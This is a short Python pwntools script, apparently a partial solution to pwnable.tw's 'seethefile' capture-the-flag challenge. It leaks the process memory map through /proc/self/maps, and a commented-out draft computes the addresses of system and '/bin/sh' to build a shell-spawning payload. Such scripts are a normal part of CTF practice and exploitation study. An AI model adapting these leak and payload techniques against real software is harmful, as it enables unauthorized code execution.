from pwn import *

p = process("./seethefile")

#p = remote("chall.pwnable.tw",10200)
gdb.attach(p)

def open(fname):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter("What do you want to see :",str(fname))

def read():
    p.sendlineafter("Your choice :","2")

def write():
    p.sendlineafter("Your choice :","3")

def close():
    p.sendlineafter("Your choice :","4")

def exit(name):
    p.sendlineafter("Your choice :","5")
    p.sendlineafter("Leave your name :",str(name))

open("/proc/self/maps")
read()
write()
'''p.recvuntil("[heap]\n")
leak = "0x" + p.recv(8)
print leak

system = int(leak,16) + 0x3a940
binsh = int(leak,16) + 0x158e8b

exp  = "\x00"*0x20
exp += "/bin/sh\x00"
'''
p.interactive()
